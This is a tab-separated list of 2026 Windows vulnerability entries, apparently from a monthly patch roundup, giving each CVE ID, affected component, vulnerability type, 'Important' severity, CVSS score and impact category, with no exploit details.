CVE-2026-50324	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-50355	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50411	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58631	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56196	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56197	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56169	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-57107	Windows Admin Center Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56185	Windows Admin Center Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50312	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-50462	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57093	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34346	Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-48572	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-48571	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50400	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50331	Windows Application Model Core API Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49803	Windows AppX Deployment Extensions Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50351	Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50440	Windows Audio Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34328	Windows Audio Service Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50406	Windows Backup Engine Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50364	Windows Backup Service Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-42975	Windows Bluetooth Port Driver Remote Code Execution	Important	8	No	No	RCE
CVE-2026-58538	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58638	Windows Boot Loader Security Feature Bypass Vulnerability	Important	6	No	No	SFB
CVE-2026-58637	Windows Client-Side Caching Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50384	Windows Clip Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49183	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50689	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50374	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58536	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58613	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50401	Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50697	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50667	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50421	Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50428	Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-50352	Windows Cryptographic Services Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50302	Windows Cryptographic Services Security Feature Bypass Vulnerability	Important	4.2	No	No	SFB
CVE-2026-55144	Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-50347	Windows Data.dll Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49181	Windows DHCP Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50683	Windows DHCP Client Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-58627	Windows DHCP Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50685	Windows DHCP Server Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-49807	Windows DirectX Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49175	Windows DNS Client Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50487	Windows DNS Client Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50465	Windows DNS Client Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-49169	Windows DNS Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-50426	Windows DNS Server Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50424	Windows Domain Controller Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50300	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50437	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34348	Windows Event Logging Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50502	Windows Event Logging Service Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33842	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40422	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41087	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50473	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50442	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50389	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50456	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57084	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57091	Windows File History Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50405	Windows Filtering Platform Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54122	Windows GDI+ Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-50483	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58609	Windows Graphics Component Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50391	Windows Group Policy Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50310	Windows Human Interface Device Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50485	Windows Hyper-V Denial of Service Vulnerability	Important	4.5	No	No	DoS
CVE-2026-54129	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50315	Windows Image Acquisition Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58534	Windows Input Method Editor (IME) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50490	Windows Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58540	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50425	Windows Internal System User Profile Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50293	Windows Internal Task Bar Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49167	Windows Kernel Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-49173	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54132	Windows Kernel Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-49795	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Important	9.3	No	No	EoP
CVE-2026-49808	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50354	Windows Kernel Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50332	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50377	Windows Kernel Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50390	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50423	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50397	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50436	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50399	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50459	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50477	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50478	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50484	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50673	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58532	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50294	Windows Kernel Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-50316	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50419	Windows Kernel Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-50463	Windows Kernel Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50475	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50429	Windows Kernel Information Disclosure Vulnerability	Important	8.2	No	No	Info
CVE-2026-58614	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58545	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58602	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50393	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50396	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50378	Windows Key Guard Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50303	Windows Key Guard Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-40378	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-49799	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50371	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58544	Windows Management Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50404	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50358	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50336	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50398	Windows Media Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50414	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50379	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50433	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50676	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50677	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34349	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50394	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50415	Windows Media Information Disclosure Vulnerability	Important	5.3	No	No	Info
CVE-2026-57083	Windows Media Photo Codec Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54115	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50505	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50342	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56183	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-56187	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-58635	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50500	Windows Netlogon Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50476	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50450	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56650	Windows Network File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56649	Windows Network File System Remote Code Execution Vulnerability	Important	5.9	No	No	RCE
CVE-2026-50470	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50496	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-56194	Windows NFS Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56648	Windows NFS Server Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50337	Windows Notification Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49789	Windows NTFS Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50412	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50422	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50672	Windows NTFS Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56182	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50341	Windows NTFS Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58640	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-49184	Windows NTFS Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-49797	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50308	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50386	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50309	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50313	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50388	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50448	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50471	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50461	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50417	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50482	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-50494	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50344	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50686	Windows OLE Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-50335	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50317	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54987	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50435	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50409	Windows Overlay Filter Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40400	Windows PowerShell Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-49166	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55004	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50499	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50383	Windows Print Spooler Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57085	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50469	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50434	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50339	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50430	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50334	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-44800	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50363	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50431	Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50372	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50666	Windows Remote Access Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56647	Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50330	Windows Remote Desktop Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50376	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50504	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58533	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58535	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58546	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58539	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55003	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57979	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50445	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50497	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54126	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57982	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50369	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58626	Windows Remote Desktop Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-55014	Windows Remote Help Defense Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50318	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50407	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50357	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50441	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50668	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-54109	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49792	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49793	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50362	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50492	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50501	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58530	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49791	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50451	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-57096	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50323	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50452	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50348	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50345	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50322	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50340	Windows Runtime Elevation of Privilege Vulnerability	Important	8.5	No	No	EoP
CVE-2026-50410	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50449	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50460	Windows Runtime Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50403	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50385	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50413	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50457	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50486	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50503	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54125	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58527	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50373	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50679	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-44806	Windows Secure Channel Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-50681	Windows Secure Channel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56186	Windows Secure Channel Information Disclosure Vulnerability	Important	8.1	No	No	Info
CVE-2026-50367	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58619	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50311	Windows Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50328	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-58531	Windows SMB Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-54997	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-49801	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50690	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56168	Windows SMB Server Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50360	Windows SMB Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57089	Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50333	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50298	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49171	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-49170	Windows StateRepository API Server file Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58526	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50299	Windows Storage Spaces Direct Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-57968	Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57973	Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability	Important	6.3	No	No	Tampering
CVE-2026-50418	Windows System Secure Feature Bypass Vulnerability	Important	5.1	No	No	SFB
CVE-2026-50306	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50307	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49177	Windows TCP/IP Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50669	Windows Telephony Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50350	Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50326	Windows Unified Consent System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49790	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50498	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58547	Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-49794	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	4.6	No	No	Info
CVE-2026-50453	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-58528	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-50321	Windows USB Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50479	Windows USB Hub Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55000	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	6.4	No	No	EoP
CVE-2026-54991	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54996	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49802	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49806	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50674	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49804	Windows USB Video Driver Elevation of Privilege Vulnerability	Important	6.6	No	No	EoP
CVE-2026-50454	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49176	Windows WalletService Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49800	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50480	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56173	Windows WebView Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58632	Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54107	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-54986	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54112	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54114	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
